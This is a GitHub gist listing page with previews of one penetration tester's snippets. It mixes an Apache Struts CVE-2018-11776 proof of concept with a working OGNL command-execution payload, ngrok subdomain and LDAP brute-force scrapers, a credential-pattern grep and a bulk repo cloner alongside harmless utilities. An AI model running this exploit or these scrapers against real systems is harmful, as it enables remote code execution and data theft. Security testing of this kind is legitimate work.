Skip to content

Instantly share code, notes, and snippets.

atucom

Block or report user

Report or block atucom

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@atucom
atucom / brute_ngrok.py
Created Jun 6, 2019
Brute ngrok subdomains
View brute_ngrok.py
#!/usr/bin/env python3
#brute ngrok's subdomain pattern
import requests
import itertools
for sub in itertools.product("0123456789abcdef", repeat=8):
host = "".join(sub) + ".ngrok.io"
print(host)
reply = requests.get("http://18.188.14.65", headers={"Host": host})
if "Tunnel " + host + " not found" not in reply.text:
@atucom
atucom / gist:179afbe6be6d47fa05debc61eb77abce
Created Mar 13, 2019
grep for user:pass@example.com patterns
View gist:179afbe6be6d47fa05debc61eb77abce
# user : pass @ whatever
grep -Pi '[^\s]*:[^\s]*@[^\s]*' * --color
View gist:ff6cecf38ac999c9223187a7cae55c41
List lightsail boxes:
alias aws_lightsail_list='aws lightsail get-instances --query="instances[*].{Name:name, IP:publicIpAddress, Username:username, State:state.name, key:sshKeyName}" --output=table'
List ec2 boxes:
alias aws_ec2_list='aws ec2 describe-instances --query="Reservations[*].Instances[*].{Launched:LaunchTime, State:State.Name, Key:KeyName, IP:PublicIpAddress, Tags:Tags[0].Value, Region:Placement.AvailabilityZone}" --output=table'
@atucom
atucom / ssl_status.py
Created Sep 19, 2018
Check if port responds to a SSL handshake
View ssl_status.py
import socket
import ssl
def is_SSL_enabled(ip, port):
"""
Attempts a SSL connection to the specified ip:port
Note: Does not handle STARTTLS yet
returns True if handshake was successful, false if not
"""
context = ssl.create_default_context()
View gitRepoDownloader.py
#!/usr/bin/env python3
# @atucom 2018
# This script, given credentials and a host, will clone all the git repos
# from a bitbucket server into appropriately named project folders locally.
# Just update the username, password, and host, and let it go.
import stashy
import os
import subprocess
@atucom
atucom / ldapscraper.py
Created Aug 30, 2018
Brute force LDAP CN entries and download them locally
View ldapscraper.py
#!/usr/bin/env python3
# @atucom 2018
# This tool brutes all cn attributes from ldap recursively.
# Additionally, if a result limit is exceeded, it will drill down farther and keep going
import os
import subprocess
import string
@atucom
atucom / CVE-2018-11776-PoC.py
Last active Jul 16, 2019
Simple PoC for the Apache Struts vuln CVE-2018-11776
View CVE-2018-11776-PoC.py
import requests
# Simple PoC for the Apache Struts vuln CVE-2018-11776
# this currently works on the struts showcase app but can easily be adapted to anything
# Thanks to https://github.com/jas502n/St2-057 for working OGNL statements :D (proper URL encoding REALLY matters)
# @atucom
def runCMD(command):
target = 'http://192.168.235.181:8080/struts3-showcase/'
payload = '%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27' + command + '%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action'
return requests.get(target + payload).text
@atucom
atucom / parsehtml.py
Created Aug 2, 2018
Parse HTML for ingredient list, customized for homechef
View parsehtml.py
from lxml import html
import lxml
import os
from collections import defaultdict
def getIngredients(htmlFile):
# Returns the ingredients from an html file
try:
tree = html.fromstring(htmlFile)
except lxml.etree.ParserError:
@atucom
atucom / outlier.py
Last active Oct 29, 2018
This returns the files in the current directory that are statistical outliers in terms of file size
View outlier.py
#!/usr/bin/env python3
"""
@atucom
This returns the files in the target directory that are
statistical outliers in terms of file size
This is useful in the quest for finding target data.
"""
from __future__ import division
import argparse
import sys
View loldongs.py
#!/usr/bin/env python3
""" LOLDONGS Encoding
This converts data into a series of ASCII dicks.
Because with great power, comes great responsibility.
"""
import argparse
import sys
def encode(inputData):
You can’t perform that action at this time.